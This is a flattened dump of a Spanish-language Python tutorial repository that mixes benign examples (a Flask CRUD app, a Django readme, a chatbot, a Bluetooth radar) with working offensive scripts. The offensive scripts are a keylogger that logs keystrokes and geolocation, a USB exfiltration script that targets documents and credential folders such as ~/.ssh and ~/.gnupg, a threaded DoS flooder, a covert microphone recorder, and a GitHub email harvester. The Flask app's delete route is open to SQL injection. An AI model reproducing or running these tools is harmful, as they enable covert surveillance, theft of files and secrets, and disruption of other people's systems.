| # En la funcion main se ejecutan las funciones creadas anteriormente 44 | def main(): 45 | dispositivos = escanear_dispositivos() 46 | dispositivos_info = [] 47 | 48 | for ip in dispositivos: 49 | distancia = estimar_distancia_fake() 50 | dispositivos_info.append((ip, distancia)) 51 | print(f"{ip} -> Distancia simulada: {distancia} m") 52 | 53 | mostrar_radar(dispositivos_info) 54 | 55 | if __name__ == "__main__": 56 | main() 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Ataques_de_intrusion/06_Pynput_Keylogger_Fecha_Hora.py: -------------------------------------------------------------------------------- 1 | # En este keylogger se guarda fecha y hora de cada tecleada 2 | # Primero se instala pynput con el siguiente comando "pip install pynput" 3 | # Luego de bajar librerias, las importamos 4 | from pynput import keyboard 5 | from datetime import datetime 6 | import time 7 | import requests 8 | 9 | # Duración en segundos 10 | DURACION = 10 11 | 12 | # En el siguiente codigo se muestra como obtener ubicacion de un dispositivo 13 | # guarda longitud y latititud del computador 14 | def obtener_lat_lon(): 15 | try: 16 | response = requests.get("https://ipinfo.io/json", timeout=5) 17 | data = response.json() 18 | loc = data.get("loc", "") # formato: "lat,lon" 19 | if loc: 20 | lat, lon = loc.split(",") 21 | return f"{lat}_{lon}" 22 | else: 23 | return "LatLon_Desconocida" 24 | except Exception: 25 | return "LatLon_Error" 26 | 27 | # Se crean el archivo con los datos del keylogger 28 | def crear_nombre_archivo(): 29 | fecha_hora = datetime.now().strftime("%y%m%d_%H%M%S") 30 | lat_lon = obtener_lat_lon() 31 | return f"Keylogger_Windows_{fecha_hora}_{lat_lon}.txt" 32 | 33 | # Lista para guardar los registros 34 | registro_teclas = [] 35 | 36 | # Con el siguiente codigo se guarda tecla presionada 37 | def on_press(key): 38 | timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S") 39 | try: 40 | tecla = key.char 41 | except AttributeError: 42 | tecla = str(key) 43 | registro_teclas.append(f"[{timestamp}] {tecla}") 44 | 45 | # Iniciar escucha 46 | listener = keyboard.Listener(on_press=on_press) 47 | listener.start() 48 | 49 | print("(+) Se guardaran las teclas usadas por 10 sengundos..") 50 | time.sleep(DURACION) 51 | listener.stop() 52 | 53 | # Guardar en archivo 54 | nombre_archivo = crear_nombre_archivo() 55 | with open(nombre_archivo, "w", encoding="utf-8") as f: 56 | f.write("Registro de teclas con fecha y hora:\n\n") 57 | for entrada in registro_teclas: 58 | f.write(entrada + "\n") 59 | 60 | print(f"(+) Archivo con el informe keylogger se guardo como: {nombre_archivo}") 61 | 62 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Ataques_de_intrusion/05_Shutil_Exfiltracion_usb.py: -------------------------------------------------------------------------------- 1 | import os 2 | import shutil 3 | 4 | # Ruta que representa el dispositivo USB (ajustar según el sistema) 5 | USB_PATH = "D:\\prueba" # Cambia esto por la letra real en tu sistema 6 | TARGET_EXTENSIONS = ['.dat', '.DAT', '.pdf', '.docx', '.xlsx', '.txt' ] 7 | SEARCH_PATH = "C:\\Users\\victima\\Documents" # Directorio objetivo 8 | 9 | # Directorio de windows donde pueden haber claves en hash 10 | # SEARCH_PATH = "c:\Users\\AppData\Local\Microsoft\Credentials" 11 | # SEARCH_PATH = "c:\Users\\AppData\Roaming\Microsoft\Credentials" 12 | # SEARCH_PATH = "C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Crypto\RSA" 13 | 14 | # Ficheros de linux y mac donde pueden haber claves en hash 15 | # SEARCH_PATH = "~/.local/share/keyrings/" 16 | # SEARCH_PATH = "~/.ssh/" 17 | # SEARCH_PATH = "~/.gnupg/" 18 | # SEARCH_PATH = "~/Library/Keychains/" 19 | 20 | # En la siguiente funcion se muestra un codigo para identificar los diferentes archivo 21 | def buscar_archivos(ruta, extensiones): 22 | archivos_encontrados = [] 23 | for root, dirs, files in os.walk(ruta): 24 | for file in files: 25 | if any(file.lower().endswith(ext) for ext in extensiones): 26 | archivos_encontrados.append(os.path.join(root, file)) 27 | return archivos_encontrados 28 | 29 | # Con el siguiente codigo se copia los archivos a la ruta de la USB 30 | def copiar_a_usb(archivos, destino_usb): 31 | if not os.path.exists(destino_usb): 32 | print(f"[!] USB no encontrada en {destino_usb}") 33 | return 34 | 35 | for archivo in archivos: 36 | try: 37 | shutil.copy2(archivo, destino_usb) 38 | print(f"[+] Copiado: {archivo}") 39 | except Exception as e: 40 | print(f"[!] Error copiando {archivo}: {e}") 41 | 42 | # En el siguiente main se muestra como se ejecutan las funciones 43 | if __name__ == "__main__": 44 | print("Los archivos se estan buscando...") 45 | archivos = buscar_archivos(SEARCH_PATH, TARGET_EXTENSIONS) 46 | print(f"Los archivos que se encontraron son los siguientes: {len(archivos)}") 47 | 48 | print("Se procede a copiar en la USB") 49 | copiar_a_usb(archivos, USB_PATH) 50 | print("Proceso completado.") -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Forense/07_Copia_Disco_Duro.py: -------------------------------------------------------------------------------- 1 | # Este es un codigo para sacar una copia de un disco duro 2 | # Un sistema operativo Windows 3 | # El software y luego instalar las librerias de python 4 | # Por ultimo dar los permisos adminin al archivo o terminal 5 | # pip install hashlib requests 6 | import hashlib 7 | import time 8 | from datetime import datetime 9 | import requests 10 | 11 | Tiempo_Inicial = datetime.now().strftime('%Y-%m-%d_%H-%M-%S') 12 | respuesta = requests.get("https://ipinfo.io/json") 13 | datos = respuesta.json() 14 | 15 | print("(+) Ubicación aproximada:") 16 | print(f"IP: {datos.get('ip')}") 17 | print(f"Ciudad: {datos.get('city')}") 18 | print(f"Región: {datos.get('region')}") 19 | print(f"País: {datos.get('country')}") 20 | print(f"Ubicación (lat,long): {datos.get('loc')}") 21 | print(f"Organización: {datos.get('org')}") 22 | print(f"Zona Horaria: {datos.get('timezone')}") 23 | Ubicacion = datos.get('loc') 24 | 25 | # Con la siguiente funcion se copia la informacion en el disco duro seleccionado 26 | def copia_forense_a_iso(origen, salida_iso, tamano_bloque=4096): 27 | try: 28 | hash_sha256 = hashlib.sha256() 29 | total_bytes = 0 30 | 31 | with open(origen, 'rb') as disco_origen, open(salida_iso, 'wb') as archivo_iso: 32 | print(f"Iniciando copia forense desde {origen} a {salida_iso}...") 33 | while True: 34 | bloque = disco_origen.read(tamano_bloque) 35 | if not bloque: 36 | break 37 | archivo_iso.write(bloque) 38 | hash_sha256.update(bloque) 39 | total_bytes += len(bloque) 40 | print(f"\rCopiados {total_bytes} bytes...", end='', flush=True) 41 | 42 | print("\nCopia finalizada.") 43 | print(f"Hash SHA256 de la imagen: {hash_sha256.hexdigest()}") 44 | 45 | except PermissionError: 46 | print("Permiso denegado. Ejecuta este script como administrador o root.") 47 | except FileNotFoundError: 48 | print("Dispositivo o archivo no encontrado.") 49 | except Exception as e: 50 | print(f"Error durante la copia: {e}") 51 | 52 | # Ejemplo de uso: 53 | # En Linux: copia_forense_a_iso("/dev/sdb", "imagen_forense.iso") 54 | copia_forense_a_iso(r"\\.\PhysicalDrive1", "Disco_Duro_{Tiempo_Inicial}_{Ubicacion}.iso") 55 | 56 | 57 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Radio_frecuencias/06_Radar_Distancia_Bluetooth.py: -------------------------------------------------------------------------------- 1 | # En este ejemplo de codigo se muestra la creacion de un radar 2 | # con la distancia de los dispositivos cerca al bluetooth 3 | # pip install bleak matplotlib 4 | import asyncio 5 | from bleak import BleakScanner 6 | import math 7 | import random 8 | import matplotlib.pyplot as plt 9 | 10 | # Se crea la logica de calcular la distancia rssi del dron 11 | def estimar_distancia(rssi, tx_power=-59, n=2.0): 12 | if rssi == 0: 13 | return None 14 | return round(10 ** ((tx_power - rssi) / (10 * n)), 2) 15 | 16 | # En la siguiente funcion se crea la imagen del radar con la distancia probable 17 | def mostrar_radar(dispositivos_info): 18 | fig, ax = plt.subplots() 19 | ax.set_title("Radar Bluetooth - Distancia estimada por RSSI") 20 | ax.set_xlim(-12, 12) 21 | ax.set_ylim(-12, 12) 22 | ax.set_aspect('equal') 23 | ax.grid(True) 24 | 25 | # En el siguiente codigo se ingresan los datos de distancia a la grafica 26 | for nombre, mac, distancia in dispositivos_info: 27 | if distancia is None or distancia > 20: 28 | continue 29 | angle = random.uniform(0, 2 * math.pi) 30 | x = distancia * math.cos(angle) 31 | y = distancia * math.sin(angle) 32 | ax.plot(x, y, 'go') 33 | ax.text(x, y, f"{nombre or mac}\n{distancia} m", fontsize=8) 34 | 35 | plt.show() 36 | 37 | # En la siguiente funcion se ejecuta la escaneada de bluetooth 38 | async def escanear_dispositivos(): 39 | print("🔍 Escaneando dispositivos Bluetooth (BLE)...") 40 | dispositivos_info = [] 41 | devices = await BleakScanner.discover(timeout=10) 42 | 43 | for d in devices: 44 | nombre = d.name or "Desconocido" 45 | mac = d.address 46 | rssi = d.rssi 47 | distancia = estimar_distancia(rssi) 48 | dispositivos_info.append((nombre, mac, distancia)) 49 | print(f"📡 {nombre} ({mac}) - RSSI: {rssi} dBm -> Distancia estimada: {distancia} m") 50 | 51 | return dispositivos_info 52 | 53 | # En el main se ejecutan las funciones y si no hay dispositivos se muestra un mensaje 54 | 55 | def main(): 56 | dispositivos_info = asyncio.run(escanear_dispositivos()) 57 | if dispositivos_info: 58 | mostrar_radar(dispositivos_info) 59 | else: 60 | print("No se detectaron dispositivos BLE.") 61 | 62 | if __name__ == "__main__": 63 | main() 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | -------------------------------------------------------------------------------- /02_Ejemplos_Librerias/25_Requests_Ver_Correos_Github_Seguidos.py: -------------------------------------------------------------------------------- 1 | # En este programa se muestra un codigo para guardar los correos electronicos 2 | # de los usuarios de github que sigue una cuenta 3 | # Se usaran 1 libreria requests, para ver la informacion de el usuario web 4 | # Primero se instala captcha con el siguiente comando "pip install requests" 5 | import requests 6 | 7 | # === CONFIGURACIÓN === 8 | GITHUB_USERNAME = "USUARIO_GITHUB" 9 | GITHUB_TOKEN = "GITHUB_TOKEN" 10 | OUTPUT_FILE = "emails.txt" 11 | 12 | # === FUNCIONES === 13 | def get_following_users(username, token): 14 | url = f"https://api.github.com/users/{username}/following" 15 | headers = {"Authorization": f"token {token}"} 16 | following = [] 17 | page = 1 18 | 19 | while True: 20 | response = requests.get(url, headers=headers, params={"per_page": 100, "page": page}) 21 | if response.status_code != 200: 22 | print("Error al obtener usuarios seguidos:", response.status_code, response.text) 23 | break 24 | 25 | data = response.json() 26 | if not data: 27 | break 28 | 29 | following.extend([user["login"] for user in data]) 30 | page += 1 31 | 32 | return following 33 | 34 | def get_user_email(username, token): 35 | url = f"https://api.github.com/users/{username}" 36 | headers = {"Authorization": f"token {token}"} 37 | response = requests.get(url, headers=headers) 38 | 39 | if response.status_code != 200: 40 | print(f"Error al obtener datos de {username}: {response.status_code}") 41 | return None 42 | 43 | user_data = response.json() 44 | return user_data.get("email") # Puede ser None 45 | 46 | def save_emails_to_file(emails, filename): 47 | with open(filename, "w", encoding="utf-8") as f: 48 | for email in emails: 49 | if email: 50 | f.write(email + "\n") 51 | 52 | # === PROGRAMA PRINCIPAL === 53 | def main(): 54 | print(f"Obteniendo usuarios que sigue {GITHUB_USERNAME}...") 55 | following_users = get_following_users(GITHUB_USERNAME, GITHUB_TOKEN) 56 | print(f"Total usuarios seguidos: {len(following_users)}") 57 | 58 | emails = [] 59 | for user in following_users: 60 | email = get_user_email(user, GITHUB_TOKEN) 61 | if email: 62 | print(f"{user}: {email}") 63 | emails.append(email) 64 | 65 | save_emails_to_file(emails, OUTPUT_FILE) 66 | print(f"\nSe guardaron {len(emails)} correos en {OUTPUT_FILE}") 67 | 68 | if __name__ == "__main__": 69 | main() -------------------------------------------------------------------------------- /04_CRUD_Python_MySql/app.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, render_template, request, redirect, url_for, flash 2 | from flask_mysqldb import MySQL 3 | 4 | app = Flask(__name__) 5 | app.config['MYSQL_HOST']= 'localhost' 6 | app.config['MYSQL_USER']= 'root' 7 | app.config['MYSQL_PASSWORD']= '' 8 | app.config['MYSQL_DB']= 'basededatos' 9 | mysql = MySQL(app) 10 | 11 | app.secret_key='mysecretkey' 12 | 13 | 14 | 15 | @app.route('/') 16 | def Index(): 17 | cur = mysql.connection.cursor() 18 | cur.execute('SELECT * FROM contacto') 19 | data= cur.fetchall() 20 | print(data) 21 | return render_template('index.html', contacto = data) 22 | 23 | @app.route('/add_contacto', methods=['POST']) 24 | def add_contacto(): 25 | if request.method == 'POST': 26 | id = request.form['id'] 27 | nombre = request.form['nombre'] 28 | celular = request.form['celular'] 29 | email = request.form['email'] 30 | cur = mysql.connection.cursor() 31 | cur.execute('INSERT INTO contacto (id, nombre, celular, email) VALUES (%s,%s,%s,%s)', (id, nombre, celular, email)) 32 | mysql.connection.commit() 33 | flash('Contacto agregado') 34 | return redirect(url_for('Index')) 35 | 36 | 37 | @app.route('/borrar/') 38 | def borrar_contact(id): 39 | cur = mysql.connection.cursor() 40 | cur.execute('DELETE FROM contacto WHERE id ={0}'.format(id)) 41 | mysql.connection.commit() 42 | flash('Contacto eliminado') 43 | return redirect(url_for('Index')) 44 | 45 | @app.route('/editar/',methods = ['POST', 'GET']) 46 | def get_contacto(id): 47 | cur = mysql.connection.cursor() 48 | cur.execute('SELECT * FROM contacto WHERE id = %s', (id)) 49 | data = cur.fetchall() 50 | cur.close() 51 | print(data[0]) 52 | return render_template('editarcontacto.html', contacto= data[0]) 53 | 54 | @app.route('/update/', methods = ['POST']) 55 | def updatecontact(id): 56 | if request.method == 'POST': 57 | id = request.form['id'] 58 | nombre = request.form['nombre'] 59 | celular = request.form['celular'] 60 | email = request.form['email'] 61 | cur = mysql.connection.cursor() 62 | cur.execute(""" 63 | UPDATE contacto 64 | SET nombre = %s, 65 | celular = %s, 66 | email = %s 67 | WHERE id = %s 68 | """,(nombre, celular, email,id)) 69 | mysql.connection.commit() 70 | flash('Contacto editado') 71 | return redirect(url_for(Index)) 72 | 73 | if __name__=='__main__': 74 | app.run(port=3000, debug=True) -------------------------------------------------------------------------------- /03_Django_Framework/readme.md: -------------------------------------------------------------------------------- 1 | Proyectos DJANGO 2 | 3 | ![Python](https://img.shields.io/badge/python-3670A0?style=for-the-badge&logo=python&logoColor=ffdd54) 4 | ![Django](https://img.shields.io/badge/Django-092E20?style=for-the-badge&logo=django&logoColor=green) 5 | 6 | Los pasos para poner en ejecución son los siguientes 7 | Ir a la pagina web de Python y Git, luego descargarlo para tu sistema operativo, escoger la opción "add path" con el fin de poder ejecutar comandos de Python en la terminal de comandos 8 | 9 | ```Pagina web 10 | https://www.python.org/downloads/ 11 | https://git-scm.com/downloads 12 | ``` 13 | Luego de tener instalado Python podemos ejecutar los siguientes comandos hasta llegar a la carpeta del proyecto y estando ahí ejecutamos los siguientes codigos 14 | 15 | ```Terminal de comandos 16 | cd 17 | python --version 18 | pip --versión 19 | pip install --upgrade pip 20 | pip install django==2.1.7 21 | ``` 22 | 23 | Despues de haber instalado python y confirmar la version, instalamos git y descargamos el proyecto. 24 | ```Terminal de comandos 25 | git --version 26 | git init 27 | git clone https://github.com/guevaraStian/Tutorial_Django.git 28 | git push origin master 29 | ``` 30 | 31 | El siguiente comando es para crear el proyecto django 32 | ```Terminal de comandos 33 | django-admin startproject proyecto1 34 | ``` 35 | 36 | Luego se ejecuta el proyecto con los siguientes comandos 37 | ```Terminal de comandos 38 | cd Tutorial_Django 39 | python manage.py runserver 40 | ``` 41 | 42 | Luego que el proyecto ya se este ejecutando se darán diferentes respuestas en consola o pestañas emergentes 43 | ``` 44 | ```Pagina web 45 | http://localhost:8000 46 | http://127.0.0.1:8000 47 | ``` 48 | 49 | - El archivo settings.py -> templates -> se anexa a dirs la direccion de la carpeta, pero con los "/" de dividir (esta direccion se consigue dando click en guardar como y luego en links) 50 | 51 | - En archivo llamado views.py -> importamos de django http, HttpResponse ,template, context , template.loader, get_template 52 | También anexamos a el arrchivo views.py -> crea la def (request) , se pone la direccion del get_template('miplantilla.html') 53 | Por ultimo en views.py -> se renderisa la variable plantillarender=plantilla.render() y se retorna la variable en HttpResponse 54 | 55 | - Crear la plantilla html 56 | url -> importar funciones asi "from nombreproyecto.views import saludo" y en urlpatterns -> path('saludo/', saludo), 57 | probar 58 | 59 | ```Terminal de comandos 60 | python manage.py createsuperuser 61 | python manage.py makemigrations 62 | python manage.py migrate 63 | ``` 64 | -------------------------------------------------------------------------------- /04_CRUD_Python_MySql/templates/layout.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Registro SebasGS0 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 34 | 35 | 36 | 37 | 38 | 39 | 40 |
41 | {% block body%} 42 | {% endblock %} 43 | 44 |
45 | 46 | 47 | 48 | 49 | 52 | 53 | 54 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Encriptaciones/Esteganografia/01_Piexif_Esteganografia_encriptacion.py: -------------------------------------------------------------------------------- 1 | # En el siguiente codigo de programacion, se muestra una forma sencilla 2 | # De guardar informacion en una imagen 3 | # Pirmero descargamos y usamos las librerias 4 | # "pip install piexif" 5 | 6 | import os 7 | from PIL import Image, ImageDraw, ImageFont 8 | import piexif 9 | 10 | # Con el siuiente codigo se ingresan textos a los datos de una imagen 11 | def insertar_texto_visible(imagen, texto, posicion=(10, 10), color=(255, 255, 255)): 12 | draw = ImageDraw.Draw(imagen) 13 | font = ImageFont.load_default() 14 | draw.text(posicion, texto, fill=color, font=font) 15 | return imagen 16 | 17 | # Variables de metadatos 18 | def insertar_metadato(imagen, texto): 19 | try: 20 | exif_dict = piexif.load(imagen.info.get('exif', b'')) 21 | except Exception: 22 | exif_dict = {"0th": {}, "Exif": {}, "GPS": {}, "1st": {}, "thumbnail": None} 23 | 24 | # Codificar como UserComment (ID 37510) 25 | user_comment = texto.encode('utf-8') 26 | exif_dict["Exif"][piexif.ExifIFD.UserComment] = b'\x00\x00' + user_comment 27 | return piexif.dump(exif_dict) 28 | 29 | # Se ejecuta el main con las funcion 30 | def main(): 31 | print("!! Este es un programa para editar imagen e insertar información !!") 32 | 33 | # Se pide que ingresen la ruta de la imagen 34 | ruta_imagen = input("Ruta de la imagen (ej. foto.jpg): ").strip() 35 | if not os.path.exists(ruta_imagen): 36 | print("(-) No se encontro la imagen") 37 | return 38 | 39 | # La primera pregunta es la ubicacion de la imagen 40 | dato = input("Texto a insertar en la imagen y como metadato: ").strip() 41 | 42 | # Con el siguiente codigo se abre la imagen teniendo su ruta 43 | try: 44 | imagen = Image.open(ruta_imagen).convert("RGB") 45 | except Exception as e: 46 | print(f"(-) No se pudo abrir la imagen : {e}") 47 | return 48 | 49 | # Se ingresa el texto a la imagen 50 | imagen = insertar_texto_visible(imagen, dato) 51 | 52 | # Creamos una imagen nueva con la informacion 53 | nueva_ruta = f"Editada_{os.path.basename(ruta_imagen)}" 54 | try: 55 | if ruta_imagen.lower().endswith((".jpg", ".jpeg")): 56 | exif_bytes = insertar_metadato(imagen, dato) 57 | imagen.save(nueva_ruta, exif=exif_bytes) 58 | else: 59 | imagen.save(nueva_ruta) 60 | print(f"(+) Imagen guardada sin problemas : {nueva_ruta}") 61 | except Exception as e: 62 | print(f"(-) No se pudo guardar la imagen: {e}") 63 | 64 | if __name__ == "__main__": 65 | main() 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | -------------------------------------------------------------------------------- /02_Ejemplos_Librerias/08_Chat_Bot.py: -------------------------------------------------------------------------------- 1 | # Primero se instala re con el siguiente comando "pip install re" 2 | #Primero se instala random con el siguiente comando "pip install random" 3 | import re 4 | import random 5 | 6 | def obtener_respuesta(mensaje_del_usuario): 7 | mensaje_dividido = re.split(r'\s|[,:;.?!-_]\s*', mensaje_del_usuario.lower()) 8 | respuesta = validar_todo_mensajes(mensaje_dividido) 9 | return respuesta 10 | 11 | def mensaje_probabilidad(mensaje_usuario, palabras_reconocidas, respuesta_simple=False, palabra_requerida=[]): 12 | mensaje_requerido = 0 13 | palabra_requeridas = True 14 | 15 | for palabra in mensaje_usuario: 16 | if palabra in palabras_reconocidas: 17 | mensaje_requerido +=1 18 | 19 | porcentaje = float(mensaje_requerido) / float (len(palabras_reconocidas)) 20 | 21 | for palabra in palabra_requerida: 22 | if palabra not in mensaje_usuario: 23 | palabra_requeridas = False 24 | break 25 | if palabra_requeridas or respuesta_simple: 26 | return int(porcentaje * 100) 27 | else: 28 | return 0 29 | 30 | def validar_todo_mensajes(mensaje): 31 | alta_probabilidad = {} 32 | 33 | def respuesta(bot_respuesta, lista_de_palabras, respuesta_simple = False, palabra_requeridas = []): 34 | nonlocal alta_probabilidad 35 | alta_probabilidad[bot_respuesta] = mensaje_probabilidad(mensaje, lista_de_palabras, respuesta_simple, palabra_requeridas) 36 | 37 | respuesta('Hola', ['hola', 'hi', 'saludos', 'buenas'], respuesta_simple = True) 38 | respuesta('Estoy bien y tu?', ['como', 'estas', 'va', 'vas', 'sientes'], palabra_requeridas=['como']) 39 | respuesta('Estamos ubicados en la carrera 70 con calle 5', ['ubicados', 'direccion', 'donde', 'ubicacion'], respuesta_simple=True) 40 | respuesta('En esta empresa vendemos de todo un poquito', ['que', 'what', 'q', 'qu', 'vende', 'venta'], respuesta_simple=True) 41 | respuesta('Trabajamos 24 horas al dia', ['cuando', 'pueden', 'trabajan'], respuesta_simple=True) 42 | respuesta('Nosotros somos la empresa mas grande de colombia', ['quienes', 'quien', 'son'], respuesta_simple=True) 43 | respuesta('Siempre a la orden, cuando quiera nos podemos comunicar', ['gracias', 'te lo agradezco', 'thanks'], respuesta_simple=True) 44 | mejor_opcion = max(alta_probabilidad, key=alta_probabilidad.get) 45 | 46 | return desconocido() if alta_probabilidad[mejor_opcion] < 1 else mejor_opcion 47 | 48 | def desconocido(): 49 | respuesta = ['puedes decirlo de nuevo?', 'No estoy seguro de lo quieres', 'buscalo en google a ver que tal'][random.randrange(3)] 50 | return respuesta 51 | 52 | while True: 53 | print("Bot: " + obtener_respuesta(input('Tu: '))) -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Ataques_de_intrusion/08_DenegacionDeServicios_TCP_ICMP_FTP_SMTP.py: -------------------------------------------------------------------------------- 1 | # En este Denegacion de servicio se pone un limite de paqeutes 2 | # Que pueden afectar una pagina web sencilla tumbandola con 50000 peticiones 3 | # Primero se instala requests con el siguiente comando "pip install requests" 4 | # Luego de bajar librerias, las importamos 5 | # Enviar millones de conexiones falsas (en Python, red local) 6 | import socket 7 | import requests 8 | import ftplib 9 | import smtplib 10 | import time 11 | import threading 12 | from scapy.all import ICMP, IP, sr1, UDP, BOOTP, DHCP, send, Ether 13 | 14 | TARGET_IP = '192.168.1.11' # Cambia a IP destino 15 | REQUESTS_PER_SECOND = 20000 16 | DURATION_SECONDS = 5 17 | 18 | def tcp_test(ip, port=80): 19 | try: 20 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 21 | s.settimeout(1) 22 | s.connect((ip, port)) 23 | s.sendall(b'Hello TCP') 24 | s.close() 25 | except: 26 | pass 27 | 28 | def http_test(ip): 29 | url = f'http://{ip}' 30 | try: 31 | requests.get(url, timeout=1) 32 | except: 33 | pass 34 | 35 | def ftp_test(ip): 36 | try: 37 | ftp = ftplib.FTP() 38 | ftp.connect(ip, 21, timeout=1) 39 | ftp.quit() 40 | except: 41 | pass 42 | 43 | def smtp_test(ip): 44 | try: 45 | server = smtplib.SMTP(ip, 25, timeout=1) 46 | server.quit() 47 | except: 48 | pass 49 | 50 | def icmp_test(ip): 51 | pkt = IP(dst=ip)/ICMP() 52 | sr1(pkt, timeout=1, verbose=0) 53 | 54 | 55 | def send_requests_per_second(protocol_func, count_per_sec, duration_sec): 56 | interval = 1.0 / count_per_sec 57 | end_time = time.time() + duration_sec 58 | while time.time() < end_time: 59 | threading.Thread(target=protocol_func, args=(TARGET_IP,)).start() 60 | time.sleep(interval) 61 | 62 | if __name__ == '__main__': 63 | print("Iniciando envío controlado de peticiones...") 64 | 65 | # TCP 66 | send_requests_per_second(tcp_test, REQUESTS_PER_SECOND, DURATION_SECONDS) 67 | print("Iniciando envío controlado de peticiones http...") 68 | # HTTP 69 | send_requests_per_second(http_test, REQUESTS_PER_SECOND, DURATION_SECONDS) 70 | print("Iniciando envío controlado de peticiones ftp...") 71 | # FTP 72 | send_requests_per_second(ftp_test, REQUESTS_PER_SECOND, DURATION_SECONDS) 73 | print("Iniciando envío controlado de peticiones smtp...") 74 | # SMTP 75 | send_requests_per_second(smtp_test, REQUESTS_PER_SECOND, DURATION_SECONDS) 76 | print("Iniciando envío controlado de peticiones icmp...") 77 | # ICMP (requiere permisos root/admin) 78 | send_requests_per_second(icmp_test, REQUESTS_PER_SECOND, DURATION_SECONDS) 79 | 80 | print("Finalizado.") -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Forense/08_Grabar_Microfono_Windows.py: -------------------------------------------------------------------------------- 1 | # Este es un codigo para grabar microfono de un computador 2 | # Un sistema operativo microsoft 3 | # El software y luego instalar las librerias de python 4 | # Por ultimo dar los permisos adminin al archivo o terminal 5 | # pip install sounddevice scipy requests 6 | 7 | import sounddevice as sd 8 | from scipy.io.wavfile import write 9 | import numpy as np 10 | import matplotlib.pyplot as plt 11 | from scipy.io import wavfile 12 | import time 13 | from datetime import datetime 14 | import requests 15 | 16 | # Parámetros 17 | duracion_segundos = 5 # Duración de la grabación 18 | frecuencia_muestreo = 44100 # Frecuencia de muestreo estándar en Hz (CD Quality) 19 | 20 | Tiempo_Inicial = datetime.now().strftime('%Y-%m-%d_%H-%M-%S') 21 | 22 | respuesta = requests.get("https://ipinfo.io/json") 23 | datos = respuesta.json() 24 | 25 | print("(+) Ubicación aproximada:") 26 | print(f"IP: {datos.get('ip')}") 27 | print(f"Ciudad: {datos.get('city')}") 28 | print(f"Región: {datos.get('region')}") 29 | print(f"País: {datos.get('country')}") 30 | print(f"Ubicación (lat,long): {datos.get('loc')}") 31 | print(f"Organización: {datos.get('org')}") 32 | print(f"Zona Horaria: {datos.get('timezone')}") 33 | Ubicacion = datos.get('loc') 34 | 35 | 36 | 37 | 38 | print("(+) Grabando...") 39 | audio = sd.rec(int(duracion_segundos * frecuencia_muestreo), samplerate=frecuencia_muestreo, channels=2) 40 | sd.wait() # Espera a que termine la grabación 41 | print("(+) Grabación terminada.") 42 | 43 | # Guardar como archivo WAV 44 | archivo_salida = "Grabacion_{Tiempo_Inicial}_{Ubicacion}.wav" 45 | write(archivo_salida, frecuencia_muestreo, audio) 46 | print(f"(+) Audio guardado como: {archivo_salida}") 47 | 48 | 49 | 50 | 51 | 52 | # Cargar archivo .wav 53 | nombre_archivo = 'Grabacion_{Tiempo_Inicial}_{Ubicacion}.wav' # Cambia esto por tu archivo 54 | frecuencia_muestreo, datos = wavfile.read(nombre_archivo) 55 | 56 | # Si el archivo es estéreo, convertir a mono 57 | if len(datos.shape) == 2: 58 | datos = datos.mean(axis=1) 59 | 60 | # Normalizar el audio (si está en int16) 61 | datos = datos / np.max(np.abs(datos)) 62 | 63 | # Calcular energía en ventana (RMS) 64 | ventana_tamaño = 1024 # muestras por bloque 65 | rms = np.sqrt(np.convolve(datos**2, np.ones(ventana_tamaño)/ventana_tamaño, mode='valid')) 66 | 67 | # Convertir a decibeles (referencia 1.0) 68 | decibeles = 20 * np.log10(rms + 1e-10) # se agrega 1e-10 para evitar log(0) 69 | 70 | # Crear eje de tiempo 71 | tiempo = np.linspace(0, len(decibeles)/frecuencia_muestreo, num=len(decibeles)) 72 | 73 | # Graficar 74 | plt.figure(figsize=(10, 4)) 75 | plt.plot(tiempo, decibeles) 76 | plt.title('Nivel de sonido en dB (estimado)') 77 | plt.xlabel('Tiempo [s]') 78 | plt.ylabel('Nivel [dB]') 79 | plt.grid() 80 | plt.tight_layout() 81 | plt.show() 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /04_CRUD_Python_MySql/templates/index.html: -------------------------------------------------------------------------------- 1 | {% extends 'layout.html'%} 2 | {% block body%} 3 | 4 |
5 |
6 |
7 | {% with messages = get_flashed_messages()%} 8 | {% if messages%} 9 | {% for message in messages%} 10 | 16 | 17 | {% endfor%} 18 | {% endif%} 19 | {% endwith%} 20 |
21 |
22 | 23 | 24 |
25 |
26 | 27 |
28 |
29 | 30 |
31 |
32 | 33 |
34 |
35 | 38 | 39 |
40 |
41 |
42 |
43 | 44 |
45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | {%for contact in contacto %} 57 | 58 | 59 | 60 | 61 | 62 | 66 | 67 | {%endfor%} 68 | 69 |
IdentificacionNombreCelularEmailOperaciones
{{contact.0 }}{{contact.1 }}{{contact.2 }}{{contact.3 }} 63 | Editar 64 | borrar 65 |
70 | 71 | 72 | 73 |
74 |
